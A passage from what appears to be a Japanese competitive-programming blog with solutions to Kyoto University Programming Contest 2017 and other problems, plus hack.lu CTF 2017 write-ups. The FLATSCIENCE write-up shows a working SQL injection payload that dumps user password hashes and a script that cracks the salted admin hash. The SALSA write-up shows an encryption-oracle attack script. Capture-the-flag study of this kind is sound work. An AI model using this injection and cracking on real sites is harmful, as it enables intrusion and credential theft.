Kyoto University Programming Contest 2017: J - Paint Red and Make Graph

,

http://kupc2017.contest.atcoder.jp/tasks/kupc2017_j

後から解いた。本番は間に合わずでほとんど見てない。 二部グラフなら行列の形が綺麗ということらしい。

solution

行列木定理。行列の形に合わせて掃き出し法。$O(W^2(H+W))$。

$H \times W$の盤面に対し、行と列に対応する$H + W$個の頂点と盤面のマス目に対応する高々$HW$個の辺を持つグラフを作る。 これは$(H, W)$な二部グラフ。 その隣接行列は$H \times W$行列$A$を使って $$ \left( \begin{matrix} O & A \\ A^\top & O \\ \end{matrix} \right) $$。 Laplacian行列は $$ \left( \begin{array}{ccc|ccc} d_1 & & & & & \\ & \ddots & & & A & \\ & & d_H & & & \\ \hline & & & d_{H+1} & & \\ & A^\top & & & \ddots & \\ & & & & & d_{H+W} \\ \end{array} \right) $$のようになる。 余因子を求めるのはほとんど行列式を求めればよい。 掃き出し法をする。 上の$H$行についてはその下の$W$行に対し行基本変形が必要でそれぞれ$1 + W$要素の操作、この部分で$O(HW^2)$。 下の$W$行についてはその行の正規化と残る$H + W - 1$行について行基本変形だが自身より右だけ見ればよいのでそれぞれ$O(W)$、この部分は$O(W^2(H+W))$。 よって全体で$O(W^2(H+W))$。

implementation

#include <algorithm>
#include <cassert>
#include <functional>
#include <iostream>
#include <vector>
#define repeat(i, n) for (int i = 0; (i) < int(n); ++(i))
#define repeat_from(i, m, n) for (int i = (m); (i) < int(n); ++(i))
#define whole(x) begin(x), end(x)
using ll = long long;
using namespace std;
template <typename X, typename T> auto vectors(X x, T a) { return vector<T>(x, a); }
template <typename X, typename Y, typename Z, typename... Zs> auto vectors(X x, Y y, Z z, Zs... zs) { auto cont = vectors(y, z, zs...); return vector<decltype(cont)>(x, cont); }

ll powmod(ll x, ll y, ll p) { // O(log y)
    assert (0 <= x and x < p);
    assert (0 <= y);
    ll z = 1;
    for (ll i = 1; i <= y; i <<= 1) {
        if (y & i) z = z * x % p;
        x = x * x % p;
    }
    return z;
}
ll modinv(ll x, ll p) { // p must be a prime, O(log p)
    assert (x % p != 0);
    return powmod(x, p - 2, p);
}

constexpr int mod = 1e9+7;
int solve(int h, int w, vector<string> const & f) {
    { // check the possibility
        vector<bool> used(h + w);
        function<void (int)> go = [&](int z) {
            used[z] = true;
            if (z < h) {
                repeat (x, w) {
                    if (f[z][x] == '.' and not used[h + x]) {
                        go(h + x);
                    }
                }
            } else {
                repeat (y, h) {
                    if (f[y][z - h] == '.' and not used[y]) {
                        go(y);
                    }
                }
            }
        };
        go(0);
        if (count(whole(used), false)) return -1;
    }
    // make a sparse matrix
    vector<int> a(h);
    vector<vector<int> > b = vectors(h, w - 1, int());
    vector<vector<int> > c = vectors(w - 1, h, int());
    vector<vector<int> > d = vectors(w, w - 1, int());
    int e = 0;
    repeat (y, h) {
        repeat (x, w - 1) {
            if (f[y][x] == '.') {
                a[y] += 1;
                b[y][x] -= 1;
                c[x][y] -= 1;
                d[x][x] += 1;
            }
        }
        if (f[y][w - 1] == '.') {
            a[y] += 1;
            e += 1;
        }
    }
    // eliminate
    repeat (z, h) {
        repeat (y, w - 1) {
            if (c[y][z]) {
                if (a[z] == 0) return 0;
                ll k = c[y][z] * modinv(a[z], mod) % mod;
                c[y][z] = 0;
                repeat (x, w - 1) {
                    d[y][x] -= k * b[z][x] % mod;
                    if (d[y][x] < 0) d[y][x] += mod;
                }
            }
        }
    }
    repeat (z, w - 1) {
        repeat (y, h) {
            if (d[z][z] == 0) return 0;
            ll k = b[y][z] * modinv(d[z][z], mod) % mod;
            repeat_from (x, z, w - 1) {
                b[y][x] -= k * d[z][x] % mod;
                if (b[y][x] < 0) b[y][x] += mod;
            }
        }
        repeat (y, w - 1) if (y != z) {
            if (d[z][z] == 0) return 0;
            ll k = d[y][z] * modinv(d[z][z], mod) % mod;
            repeat_from (x, z, w - 1) {
                d[y][x] -= k * d[z][x] % mod;
                if (d[y][x] < 0) d[y][x] += mod;
            }
        }
    }
    // prod
    ll result = 1;
    repeat (z, h) {
        result *= a[z];
        result %= mod;
    }
    repeat (z, w - 1) {
        result *= d[z][z];
        result %= mod;
    }
    return result;
}

int main() {
    // input
    int h, w; cin >> h >> w;
    vector<string> f(h); repeat (y, h) cin >> f[y];
    // solve
    int result = solve(h, w, f);
    // output
    if (result == -1) {
        printf("-1\n");
    } else {
        printf("%d %d\n", h + w - 1, result);
    }
    return 0;
}

Kyoto University Programming Contest 2017: H - Make a Potion

,

http://kupc2017.contest.atcoder.jp/tasks/kupc2017_h

私のライブラリのdinicは遅いという疑惑が浮上している。そのうち直す。そのうち。

solution

最小cut。$O(V^2E)$。

下図みたいなネットワークを作る。$h_i = 2$の側で$200l$以上使ったら$h_j = -1$のを$400l$使わないといけない場合の例。 始点 $\to$ ($h_i \gt 0$な頂点群) $\leftrightarrow$ ($h_i \le 0$な頂点群) $\to$ 終点。 $h_i \gt 0$については最初に$\sum h_i v_i$を足しておいて、そこからcutの結果を引く。

    -------------------------------------------------+---------------------> dst
                                                     ^  600
                                                     |
                         300l                      600l
                     200  ^|                        |^  400
                          |v  inf     inf      inf  v|
                         200l -------------------> 400l
                     202  ^|                        |^   0
                          |v  inf              inf  v|
                         199l                       0l (h_j = -1)
                     600  ^|
                          |v  inf
                          0l (h_i = +2)
                     inf  ^
                          |
src ----------------------+------------------------------------------------>

明らかに線形計画問題で定式化できるが、それを足場とすれば思い付きやすい。

implementation

#include <algorithm>
#include <cassert>
#include <cstdio>
#include <cstdlib>
#include <functional>
#include <queue>
#include <unordered_map>
#include <vector>
#define repeat(i, n) for (int i = 0; (i) < int(n); ++(i))
#define whole(x) begin(x), end(x)
using ll = long long;
using namespace std;

uint64_t pack(int i, int j) {
    return (uint64_t(i) << 32) | j;
}

ll maximum_flow(int s, int t, int n, unordered_map<uint64_t, ll> & capacity /* adjacency matrix */) { // dinic, O(V^2E)
    auto residue = [&](int i, int j) { auto key = pack(i, j); return capacity.count(key) ? capacity[key] : 0; };
    vector<vector<int> > g(n); repeat (i,n) repeat (j,n) if (residue(i, j) or residue(j, i)) g[i].push_back(j); // adjacency list
    ll result = 0;
    while (true) {
        vector<int> level(n, -1); level[s] = 0;
        queue<int> q; q.push(s);
        for (int d = n; not q.empty() and level[q.front()] < d; ) {
            int i = q.front(); q.pop();
            if (i == t) d = level[i];
            for (int j : g[i]) if (level[j] == -1 and residue(i,j) > 0) {
                level[j] = level[i] + 1;
                q.push(j);
            }
        }
        vector<bool> finished(n);
        function<ll (int, ll)> augmenting_path = [&](int i, ll cur) -> ll {
            if (i == t or cur == 0) return cur;
            if (finished[i]) return 0;
            finished[i] = true;
            for (int j : g[i]) if (level[i] < level[j]) {
                ll f = augmenting_path(j, min(cur, residue(i,j)));
                if (f > 0) {
                    capacity[pack(i, j)] -= f;
                    capacity[pack(j, i)] += f;
                    finished[i] = false;
                    return f;
                }
            }
            return 0;
        };
        bool cont = false;
        while (true) {
            ll f = augmenting_path(s, numeric_limits<ll>::max());
            if (f == 0) break;
            result += f;
            cont = true;
        }
        if (not cont) break;
    }
    return result;
}

int main() {
    // input
    int n, m; scanf("%d%d", &n, &m);
    vector<int> v(n); repeat (i, n) scanf("%d", &v[i]);
    vector<int> h(n); repeat (i, n) scanf("%d", &h[i]);
    vector<tuple<int, int, int, int> > constraints(m);
    repeat (i, m) {
        int a, x, b, y; scanf("%d%d%d%d", &a, &x, &b, &y); -- a; -- b;
        constraints[i] = { a, x, b, y };
    }

    // solve
    // // collect vertices
    constexpr int V_FREE = 0;
    constexpr int V_OUT = 0;
    constexpr int V_CEIL = 1;
    constexpr int V_IN = 2;
    vector<vector<pair<int, int> > > border(n);
    for (auto constraint : constraints) {
        int a, x, b, y; tie(a, x, b, y) = constraint;
        if (x - 1 >= 0) border[a].emplace_back(x - 1, V_CEIL);
        border[a].emplace_back(x, V_OUT);
        border[b].emplace_back(y, V_IN);
    }
    repeat (i, n) {
        border[i].emplace_back(0, V_FREE);
        border[i].emplace_back(v[i], V_FREE);
        sort(whole(border[i]));
        vector<pair<int, int> > nborder;
        for (auto it : border[i]) {
            int z, type; tie(z, type) = it;
            if (not nborder.empty() and nborder.back().first == z) {
                nborder.back().second |= type;
            } else {
                nborder.emplace_back(z, type);
            }
        }
        border[i] = nborder;
        nborder.clear();
        for (auto it : border[i]) {
            int z, type; tie(z, type) = it;
            if (h[i] > 0) {
                if (z == v[i] or (type & V_CEIL)) {
                    nborder.emplace_back(z, type);
                }
            } else {
                if (z == 0 or (type & V_IN)) {
                    nborder.emplace_back(z, type);
                }
            }
        }
        border[i] = nborder;
    }
    // // make the graph
    unordered_map<uint64_t, int> index;
    repeat (i, n) {
        for (auto it : border[i]) {
            int z = it.first;
            index.emplace(pack(i, z), index.size());
        }
    }
    unordered_map<uint64_t, ll> capacity;
    const int src = index.size();
    const int dst = index.size() + 1;
    constexpr ll inf = ll(1e18)+7;
    repeat (i, n) {
        capacity[pack(src, index[pack(i, border[i][0].first)])] = inf;
        repeat (j, border[i].size() - 1) {
            int z = border[i][j + 1].first;
            int pz = border[i][j].first;
            int w = z - pz;
            if (h[i] > 0) {
                capacity[pack(src, index[pack(i, z)])] = w *(ll) h[i];
            } else {
                capacity[pack(index[pack(i, z)], dst)] = w *(ll) abs(h[i]);
            }
            capacity[pack(index[pack(i, z)], index[pack(i, pz)])] = inf;
        }
    }
    for (auto constraint : constraints) {
        int a, x, b, y; tie(a, x, b, y) = constraint;
        auto it = lower_bound(whole(border[a]), make_pair(x, 0));
        if (it == border[a].end()) { assert (h[a] <= 0); continue; }
        x = it->first;
        y = lower_bound(whole(border[b]), make_pair(y, 0))->first;
        capacity[pack(index[pack(a, x)], index[pack(b, y)])] = inf;
    }
    // // run dinic
    ll sum_positive = 0;
    repeat (i, n) {
        if (h[i] > 0) {
            sum_positive += v[i] *(ll) h[i];
        }
    }
    ll result = sum_positive - maximum_flow(src, dst, index.size() + 2, capacity);

    // output
    printf("%lld\n", result);
    return 0;
}

Kyoto University Programming Contest 2017: G - encode/decode 2017

,

http://kupc2017.contest.atcoder.jp/tasks/kupc2017_g

問題文みたら誰もが自明に思い付く(と思っていた)のを試してみたらWAで、やはり駄目かと思って普通に解いてACした後からrejudgeでWAだったのがACになり、しばらくして社長判断で提出取消になりました。 何も怪しいことはしてないので不正かどうかの疑いすらせず提出したが、手法そのものより「意図的な問題破壊」がNGということです。 次に同じのが出ても同じ手法は控えるので許してという気持ちがあります。 ところでこれはKUPCのG問題であったため私ともうひとりしか不正しなかったのでしょうが、同様のがABCのB問題あたりに置かれて多くの人が見たら不正扱いできない量の提出があったと思います。

ところで(それが取り消された上でも)京都オンサイト$1$位でした。 純粋な競プロでの$1$位は初のはず。 賞品などは無だし全体では$16$位ですが、それでもなんだか嬉しいですね。

solution

  • encode: 次数が極端に大きいなどで他から区別できる1点を作り、そこから長さ$64$以上のpathを生やし、その各点を$X$のbitに対応させ適当に辺を生やして$0, 1$を埋め込む。
  • decode: 区別された1点から辺を辿る。次数などを見てうまくbit列を抜き出し$X$を復元する。

具体的な構成は乱択とかで無理矢理やるとよい。 星型の木が与えられた場合が面倒なので、次数の大きい順にいくつかの頂点をなかったことにしてしまうとよい。

implementation

#include <algorithm>
#include <cassert>
#include <functional>
#include <iostream>
#include <random>
#include <set>
#include <vector>
#define repeat(i, n) for (int i = 0; (i) < int(n); ++(i))
#define whole(x) begin(x), end(x)
using ll = long long;
using namespace std;

ll decode(int n, int a, vector<vector<int> > const & g) {
    vector<int> sorted_with_degree(n);
    iota(whole(sorted_with_degree), 0);
    sort(whole(sorted_with_degree), [&](int i, int j) { return g[i].size() > g[j].size(); });
    int d1 = sorted_with_degree[0];
    int d2 = sorted_with_degree[1];
    int root = -1;
    repeat (i, n) if (i != d1) {
        if (not count(whole(g[i]), d1) and not g[i].empty()) {
            root = i;
        }
    }

    function<ll (int, int, int)> go = [&](int i, int parent, int depth) {
        vector<int> g_i = g[i];
        g_i.erase(remove(whole(g_i), d1), g_i.end());
        g_i.erase(remove(whole(g_i), parent), g_i.end());
        ll y = 0;
        if (count(whole(g_i), d2)) {
            y |= 1ll << depth;
        }
        g_i.erase(remove(whole(g_i), d2), g_i.end());
        if (g_i.empty()) return 0ll;
        assert (g_i.size() == 1);
        y |= go(g_i[0], i, depth + 1);
        return y;
    };
    return go(root, -1, 0);
}

void decode() {
    // input
    int n, a; cin >> n >> a;
    vector<vector<int> > g(n);
    repeat (i, a) {
        int c, d; cin >> c >> d; -- c; -- d;
        g[c].push_back(d);
        g[d].push_back(c);
    }

    // solve
    ll y = decode(n, a, g);

    // output
    cout << y << endl;
}

void encode() {
    // input
    int n, m; cin >> n >> m;
    vector<set<int> > t(n);
    repeat (i, m) {
        int a, b; cin >> a >> b; -- a; -- b;
        t[a].insert(b);
        t[b].insert(a);
    }
    ll x; cin >> x;

    // solve
    vector<int> leaves;
    repeat (i, n) {
        if (t[i].size() == 1) {
            leaves.push_back(i);
        }
    }
    vector<vector<int> > g;
    default_random_engine gen;
    auto generate = [&]() {
        g.assign(n, vector<int>());
        vector<int> vs;
        // d1
        int d1;
        do {
            d1 = uniform_int_distribution<int>(0, n - 1)(gen);
            if (bernoulli_distribution(0.01)(gen)) return false;
        } while (t[d1].size() > 10);
        vs.push_back(d1);
        vector<int> rootable;
        vector<int> chainable;
        repeat (i, n) if (i != d1) {
            if (t[d1].count(i) or bernoulli_distribution(0.1)(gen)) {
                rootable.push_back(i);
            } else {
                chainable.push_back(i);
                g[d1].push_back(i);
                g[i].push_back(d1);
            }
        }
        // root
        assert (not rootable.empty());
        int root = rootable[uniform_int_distribution<int>(0, rootable.size() - 1)(gen)];
        vs.push_back(root);
        repeat (i, 64) {
            int v = vs.back();
            int w;
            do {
                w = uniform_int_distribution<int>(0, n - 1)(gen);
                if (bernoulli_distribution(0.01)(gen)) return false;
            } while (t[v].count(w) or count(whole(vs), w) or not count(whole(chainable), w));
            vs.push_back(w);
            g[v].push_back(w);
            g[w].push_back(v);
        }
        // d2
        int d2 = 0;
        for (; d2 < n; ++ d2) {
            if (count(whole(vs), d2) or not count(whole(chainable), d2)) continue;
            bool found = true;
            repeat (i, 64) {
                if (x & (1ll << i)) {
                    int v = vs[1 + i];
                    if (t[d2].count(v)) {
                        found = false;
                        break;
                    }
                }
            }
            if (found) break;
        }
        if (d2 == n) return false;
        repeat (i, 64) {
            if (x & (1ll << i)) {
                int v = vs[1 + i];
                g[v].push_back(d2);
                g[d2].push_back(v);
            }
        }
        return true;
    };
    while (not generate());
    assert (decode(n, -1, g) == x);

    // output
    int a = 0;
    repeat (c, n) {
        for (int d : g[c]) if (c < d) {
            ++ a;
        }
    }
    cout << a << endl;
    repeat (c, n) {
        for (int d : g[c]) if (c < d) {
            cout << c + 1 << ' ' << d + 1 << endl;
        }
    }
}

int main() {
    string s; cin >> s;
    if (s == "encode") {
        encode();
    } else if (s == "decode") {
        decode();
    }
    return 0;
}

Kyoto University Programming Contest 2017: E - Treasure Hunt

,

http://kupc2017.contest.atcoder.jp/tasks/kupc2017_e

これ好き。

solution

宝箱を頂点 鍵を辺として無向グラフを作る。 各成分ごとに独立なので連結と仮定してよい。 このとき、頂点数より辺数のほうが大きければ全ての宝箱を開けられ、そうでない(つまり木)ならばどこか好きなひとつだけ開けられない。 $O(n + m)$。

初手で最小費用流や2-SATが思い付くだろうが、最小費用流のアルゴリズムをネットワークに沿って高速化することや、単に2-SATのアルゴリズムからの類推で解法が思いつける。

implementation

#include <climits>
#include <cstdio>
#include <functional>
#include <vector>
#define repeat(i, n) for (int i = 0; (i) < int(n); ++(i))
using ll = long long;
using namespace std;
template <class T> inline void setmin(T & a, T const & b) { a = min(a, b); }

int main() {
    // input
    int n, m; scanf("%d%d", &n, &m);
    vector<ll> v(n); repeat (i, n) scanf("%lld", &v[i]);
    vector<vector<int> > g(n);
    repeat (i, m) {
        int x, y; scanf("%d%d", &x, &y); -- x; -- y;
        g[x].push_back(y);
        g[y].push_back(x);
    }

    // solve
    vector<bool> used(n);
    ll acc, ignored; int vertex_count, degree_count;
    function<void (int)> go = [&](int i) {
        used[i] = true;
        acc += v[i];
        setmin(ignored, v[i]);
        vertex_count += 1;
        degree_count += g[i].size();
        for (int j : g[i]) if (not used[j]) {
            go(j);
        }
    };
    ll result = 0;
    repeat (i, n) if (not used[i]) {
        acc = 0;
        ignored = LLONG_MAX;
        vertex_count = 0;
        degree_count = 0;
        go(i);
        if (degree_count == 0) continue;
        result += acc;
        if (vertex_count > degree_count / 2) result -= ignored;
    }

    // output
    printf("%lld\n", result);
    return 0;
}

Kyoto University Programming Contest 2017: D - Sanmoku

,

http://kupc2017.contest.atcoder.jp/tasks/kupc2017_d

この手のものは私が相対的に得意らしい。 ratingが私と同じか少し高い某氏はこれを落としていたのが印象的。

solution

$N \ge 3$なら$K = 1$は明らか。 実験。$O(1)$。

implementation

#!/usr/bin/env python3
n = int(input())
if n in ( 1, 2 ):
    print(1, 1)
elif n == 3:
    print(2, 32)
elif n == 4:
    print(2, 18)
else:
    print(2, 8)

実験用コード

#include <cstdio>
#include <functional>
#include <vector>
using namespace std;
template <typename X, typename T> auto vectors(X x, T a) { return vector<T>(x, a); }
template <typename X, typename Y, typename Z, typename... Zs> auto vectors(X x, Y y, Z z, Zs... zs) { auto cont = vectors(y, z, zs...); return vector<decltype(cont)>(x, cont); }

constexpr int mod = 1e9+7;
pair<int, int> solve(int n) {
    if (n <= 2) return { 1, 1 };
    auto f = vectors(n, n, char());
    function<int (int, int)> go = [&](int y, int x) {
        if (x == n) { y += 1; x = 0; }
        if (y == n) { return 1; }
        int required[2] = {};
        if (y - 2 >= 0 and f[y - 2][x] == f[y - 1][x]) required[not f[y - 1][x]] += 1;
        if (x - 2 >= 0 and f[y][x - 2] == f[y][x - 1]) required[not f[y][x - 1]] += 1;
        if (y - 2 >= 0 and x - 2 >= 0 and f[y - 2][x - 2] == f[y - 1][x - 1]) required[not f[y - 1][x - 1]] += 1;
        if (y - 2 >= 0 and x + 2 <  n and f[y - 2][x + 2] == f[y - 1][x + 1]) required[not f[y - 1][x + 1]] += 1;
        if (required[0] and required[1]) {
            return 0;
        } else if (required[0]) {
            f[y][x] = false;
            return go(y, x + 1);
        } else if (required[1]) {
            f[y][x] = true;
            return go(y, x + 1);
        } else {
            f[y][x] = false;
            int acc = go(y, x + 1);
            f[y][x] = true;
            acc += go(y, x + 1);
            return acc % mod;
        }
    };
    int result = go(0, 0);
    return { 2, result };
}
int main() {
    int n; scanf("%d", &n);
    int k, cnt; tie(k, cnt) = solve(n);
    printf("%d %d\n", k, cnt);
    return 0;
}

Kyoto University Programming Contest 2017: C - Best Password

,

http://kupc2017.contest.atcoder.jp/tasks/kupc2017_c

hash値を持つのは正しい行いですが、可能ならsaltも付けたほうがよいですね。

solution

多倍長整数で上の桁から貪欲。$O(|S|)$。

rolling hash風の多項式hash。剰余を取っているとLLLなどが必要になるだろうが、$\mathbb{N}$の上で計算しているので不要。 まず$H(S)$を越えるまでzを足してzzz...zのような文字列を作る。 そして辞書順最大であるので、$H(S)$に一致するようzzz...zy zzz...zx zzz...zw $\dots$ zzz...zyz zzz...zyy $\dots$ と減らしていく。$A \le 10$なのでこれは目的の文字列を見付ける。

implementation

#!/usr/bin/env python3
import string
def c(s_i):
    return ord(s_i) - ord('a') + 1
def encode(a, s):
    acc = 0
    for s_i in reversed(s):
        acc += c(s_i)
        acc *= a
    return acc
def decode(a, k):
    s = [ ]
    acc = 0
    e = 1
    while acc < k:
        s += 'z'
        e *= a
        acc += e * c('z')
    for i in reversed(range(len(s))):
        acc -= e * c('z')
        for s_i in string.ascii_lowercase:
            if k <= acc + e * c(s_i):
                acc += e * c(s_i)
                s[i] = s_i
                break
        e //= a
        if acc == k:
            break
    return ''.join(s)

a = int(input())
s = input()
print(decode(a, encode(a, s)))

Kyoto University Programming Contest 2017: B - Camphor Tree

,

http://kupc2017.contest.atcoder.jp/tasks/kupc2017_b

camphor tree はクスノキのこと。カンフルや樟脳と呼ばれるそれの原料にもなる。

solution

segment木をするときのあれ。登る方向だと選択肢が複数あって面倒だが、降りる方向だと一意なのでそうすればよい。$O(N)$。

implementation

#!/usr/bin/env python3
n, s, t = map(int, input().split())
ans = 0
while s < t:
    t //= 2
    ans += 1
if s != t:
    ans = -1
print(ans)

Kyoto University Programming Contest 2017: A - Credits

,

http://kupc2017.contest.atcoder.jp/tasks/kupc2017_a

solution

整列して大きい方から貪欲に取る。$O(N \log N)$。

単位は多めに取っても大丈夫なので注意。 最近競プロを始めた友人氏がこの誤読で落としていた。

implementation

#!/usr/bin/env python3
n, k = map(int, input().split())
a = list(map(int, input().split()))
if sum(a) < k:
    print(-1)
else:
    a.sort(reverse=True)
    for i, a_i in enumerate(a):
        k -= a_i
        if k <= 0:
            break
    print(i + 1)

hack.lu CTF 2017: SALSA

,

problem

Salsa20と呼ばれる暗号。 暗号文と暗号化oracleが与えられるので複合せよ。

solution

暗号化はdataを送るとencrypt(key, nonce, counter, JSON({ "cnt": counter, "data": base64(data) }))が得られるというもの。 複数回oracleを利用するときの変化はcounterだけ。 結果の形が{"cnt": ...で固定であるため分かりにくいが、counterがひとつ増えると同じ文字を暗号化した結果はひとつずれるだけ。 つまりencrypt(counter, text)[: -1] == encrypt(counter + 1, text)[1 :]のようになっている。 これが分かればやるだけ。 $64$回の再接続をするような実装だと楽。

implementation

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='flatearth.fluxfingers.net')
parser.add_argument('port', nargs='?', default=1721, type=int)
parser.add_argument('--log-level', default='debug')
args = parser.parse_args()
context.log_level = args.log_level

import json
def getmsgtext(msg_counter, text):
    msg = {"cnt" : msg_counter, "data" : text[: 128]}
    return json.dumps(msg)
msgtext_offset = getmsgtext(0, '__DATA__').index('__DATA__')

import base64
b64flag = [ '?' ] * 128
b64letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
for i, c in enumerate(b64letters):
    log.info('letter = %c', c)

    with remote(args.host, args.port) as p:
        time.sleep(0.2)
        encoded_flag = p.recv()
        assert len(encoded_flag) == 0x8e
        log.info(fiddling.hexdump(encoded_flag[msgtext_offset :]))

        def query(s):
            p.send(s)
            time.sleep(0.1)
            return p.recv()

        s = query(base64.b64decode(c * 128))
        log.info(fiddling.hexdump(s[msgtext_offset :]))
        for j, (a, b) in enumerate(zip(encoded_flag[msgtext_offset + 1 :], s[msgtext_offset :])):
            if a == b:
                b64flag[1 + j] = c

    log.info('base64(flag) = %s', ''.join(b64flag))

hack.lu CTF 2017: PRIME ENIGMA

,

苦戦した。ちゃんと考えたら分かったが、$d = \frac{p - 1}{2}$でよいというのは私にはまだ自明でなかった。

problem

素数$p$と$g, A$が公開されている。鍵$d$と平文$m$が隠されていて、$B \equiv g^d \pmod{p}$と$k \equiv A^d \pmod{p}$と$c \equiv km \pmod{p}$があり、このうち$B, c$が与えられる。$m$を求めろ。

solution

$B \equiv -1 \pmod{p}$が比較により分かる。 つまり$g^d \equiv -1 \pmod{p}$である。 これは離散対数問題であるが、$\forall a \not\equiv 0. a^n \equiv 1 \pmod{p}$と$p-1 \mid n$が同値であることが示せるので$d = \frac{p - 1}{2}$。 この同値性について、逆方向はFermatの小定理、順方向はLagrangeの定理の系(有限群の元の位数は群の位数の約数)と$(\mathbb{Z}/p\mathbb{Z})^{\times}$が巡回群であること(あるいは原始根の存在性)から示せる。

implementation

#!/usr/bin/env python3

p = 1044388881413152506679602719846529545831269060992135009022588756444338172022322690710444046669809783930111585737890362691860127079270495454517218673016928427459146001866885779762982229321192368303346235204368051010309155674155697460347176946394076535157284994895284821633700921811716738972451834979455897010306333468590751358365138782250372269117968985194322444535687415522007151638638141456178420621277822674995027990278673458629544391736919766299005511505446177668154446234882665961680796576903199116089347634947187778906528008004756692571666922964122566174582776707332452371001272163776841229318324903125740713574141005124561965913888899753461735347970011693256316751660678950830027510255804846105583465055446615090444309583050775808509297040039680057435342253926566240898195863631588888936364129920059308455669454034010391478238784189888594672336242763795138176353222845524644040094258962433613354036104643881925238489224010194193088911666165584229424668165441688927790460608264864204237717002054744337988941974661214699689706521543006262604535890998125752275942608772174376107314217749233048217904944409836238235772306749874396760463376480215133461333478395682746608242585133953883882226786118030184028136755970045385534758453247
g = 5
A = 1026312539297800437474663698165859314949881437729617621666434357798219198741950468733395500361477359726152747087790103309627020498122003777642051150130697457594304849673838709900017711265818285080832347734747895550397950729716624922572654209637755195129162139245110756558638081495998280747642920484467428206475906559638681536868548289456924005274209311355030582255692087426910634838198143851507435754029135363794578075936092774722678311786272841489629294721103591751528609388061794369341067986401129462942050916582521451289187645626081017578576190303952351748434876686541368607656026867091583868645619423975306245327421218767449273192101105293424028461698783545171866070124432565063559495566733441286372612161876492134408160732339966921175762866198980795890946054558528891296203285979664329713156129091098226212735763844909789916934266711879564086741733061623347281499025678164709559814150194881622611023214199434022258730549350019749882889143749385314934896284396513061241138504029046053964944026179039768718830854958634216721133676746317913559932277050177463811150719675119168868527853864167729206220819613297736800799391257602899169041109002518019207734013899840092155297682096290489330476118066934735827328128343402508975429994312

with open('ciphertext.txt') as fh:
    B = int(fh.readline())
    c = int(fh.readline())

assert B == p - 1
assert pow(B, 2, p) == 1

import gmpy2
d = (p - 1) // 2
assert pow(g, d, p) == B
k = pow(A, d, p)
m = c * gmpy2.invert(k, p) % p
print(int(m).to_bytes(512, 'big'))
  • 2017年 10月 22日 日曜日 12:38:14 JST
    • p-1 \mid n のつもりで n \mod p-1 って書いてたので修正
  • 2017年 10月 23日 月曜日 17:31:40 JST
    • 略証など加えて修正

hack.lu CTF 2017: FLATSCIENCE

,

人がrobots.txtなど下調べをし、別の人がSQLiでhashedなpasswordを抜き、残りの逆像求める部分を私がした。 たいてい独立にそれぞれ解いて終わるので、協力してやる感じは嫌いじゃないです。

problem

https://flatscience.flatearth.fluxfingers.net/

昔のサイトにあったような迷路みたいなやつ

solution

まず robots.txt

User-agent: *
Disallow: /login.php
Disallow: /admin.php

/login.php ではSLQiができて、 ' union select 1, group_concat(name || ':' || password || ':' || hint) from Users;-- のようにすれば

admin:3fab54a50e770d830c0416df817567662a9dc85c:my fav word in my fav paper?!
fritze:2f72d9dd0f9d6ef605f402c91f517ea4:my love is...?
hansi:9e895c06352f4513fe179bf92b498397:the password is password

また <!-- TODO: Remove ?debug-Parameter! --> により、 /login.php?debug からソースコードを拾える。 sha1($pass."Salz!")3fab54a50e770d830c0416df817567662a9dc85c$pass を求めればよい。

my fav word in my fav paper?! って言ってるのでたくさん置いてあるPDF中にありそう。 とりあえずwgetで再帰的に全部抜いて、grepとかではだめだったので以下のようにする:

for f in flatscience.flatearth.fluxfingers.net/**/*.pdf ; do
    pdftotext $f /dev/stdout
done \
| sed 's/\s/\n/g' \
| sed 's/^\W*// ; s/\W*$//' \
| sort \
| uniq \
| while read line ; do
    echo -n "$line "
    echo -n "$line"'Salz!' | sha1sum
done \
| grep 3fab54a50e770d830c0416df817567662a9dc85c

flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}


Yukicoder No.69 文字を自由に並び替え

,

https://yukicoder.me/problems/no/69

solution

高級言語で書くなら、ソートして一致するか見ればよい。$O(N \log N)$。 そうでなければ、rolling hashのように多項式を使ったhash関数$H(x) = \sum f(x_i)$を用いて比較する。加算に$O(a)$で乗算を$O(b)$と仮定すると$O(N(a + b)^{\mathrm{deg}(f)})$。

implementation

提出: https://yukicoder.me/submissions/202298

整形前

#!/usr/bin/env bfi
>
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++> O
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++> N
>
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++> S
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++> E
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++> Y
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++> V
[ +[-<+] ]
#
+[->,+]
<-[+[-<]>[>]<-]
<[-<]
<[>>[>]+[>]<[-<]<-]

#
>>[>]>[>]<
[
    >+++>+<[->[-<<[->>>+>+<<<<]>>>>[-<<<<+>>>>]<<]>[-<+>]<<]
    >[<<[<]<[<]<+>>[>]>[>]>-]
    <<[-]
    <
]
#
<[
    >+++>+<[->[-<<[->>>+>+<<<<]>>>>[-<<<<+>>>>]<<]>[-<+>]<<]
    >[<<[<]<->>[>]>-]
    <<[-]
    <
]
<[<]<[.<]
daaaaaaaaa
bbbbbbbbba

Japan Alumni Group Summer Camp 2017 Day 3: F - Endless BFS

,

http://jag2017summer-day3.contest.atcoder.jp/tasks/jag2017summer_day3_f

頂点への訪問情報をふたつ持つDFSでいけそうと言っていたら、後輩が(同じなのだが)二部グラフだと整理してくれた。 実装は彼に任せた。でも変なDijkstraライブラリ貼ってバグらせてた。

problem

与えられたグラフ上で問題文中のBFSっぽいコードを実行して、停止するか、するとしたら何ステップ後か答えよ。

solution

元の頂点をそれぞれ複製し辺は斜めに貼り替えて二部グラフを作る。 これが連結でなければ停止しない。 この上でBFSし、それぞれの色の中での距離の最大値を求め、そのふたつの中の最小値が答え。

implementation

#include <algorithm>
#include <cstdio>
#include <limits>
#include <queue>
#include <vector>
#define repeat(i, n) for (int i = 0; (i) < int(n); ++(i))
using namespace std;

vector<int> breadth_first_search(int root, vector<vector<int> > const & g) {
    vector<int> dist(g.size(), numeric_limits<int>::max());
    queue<int> que;
    dist[root] = 0;
    que.push(root);
    while (not que.empty()) {
        int i = que.front();
